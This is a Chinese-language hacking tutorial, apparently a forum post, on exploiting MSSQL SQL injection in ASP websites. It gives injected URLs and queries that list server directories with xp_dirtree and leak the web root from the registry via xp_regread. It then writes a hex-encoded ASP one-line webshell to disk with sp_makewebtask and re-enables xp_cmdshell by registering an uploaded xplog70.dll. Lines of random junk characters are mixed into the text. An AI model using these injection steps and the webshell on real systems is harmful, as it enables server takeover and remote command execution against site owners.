MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
假设我们在test里有两个文件夹test1和test2在test1里又有test3
1 j/ u. y, |* j# f( t2 j9 A: W7 r4 P结果显示

subdirectory depth
9 u; E% ?' V* p' F5 e+ E  o' ltest1 1
. a/ i+ J1 X& S. K& Y$ b0 Ftest3 2
test2 1
- l6 q. J2 f' n% k1 P$ A3 L
哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧
" f* q" ?4 y- D+ U- L7 r
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
9 [( ]" ?$ X6 B) G- Ohttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
7 @( b7 g- R: G9 G) P+ H# Lhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

7 I; k) D6 t9 `( P, X) [只要加上id＝1，就是第一级目录 。
; n  d- L8 x* n; Y
+ \8 n: n. L4 @: [2 r3 k/ I
  l9 L3 k0 T; V. `5 [通过注册表读网站路径:
1 @2 }# _4 u) V0 |
1.;create table [dbo].[cyfd] ([gyfd][char](255));
, D/ K3 J# V5 b5 y; s' _! n
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
! E% }; u3 u" |% Z+ j/ a. bid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
2 U4 Y1 ]7 A! U) P9 w, k! f
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
and 1=(select count(*) from cyfd where gyfd > 1)
2 ]4 O' k/ C( B) d4 Q这样IE报错,就把刚才插进去的Web路径的值报出来了

4.drop table cyfd;-- 删除临时表

获得webshell方法:
2 y+ [# f+ v" N# r1.create table cmd (a image)-- \**cmd是创建的临时表

. C3 _+ P- X" j$ t) t2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
3 Y: {# ^) B" _% w
% L. }1 P, N) j5 a" n
( u' G& r9 Q+ @3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
+ o# `9 V. x5 iEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
1 k5 G" s- l$ L$ S- U7 ^
4.drop table cmd;-- 删除cmd临时表
+ D1 C" e) {5 ^$ n# K6 y9 b' b; U
恢复xp_cmdshell方法之一:
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）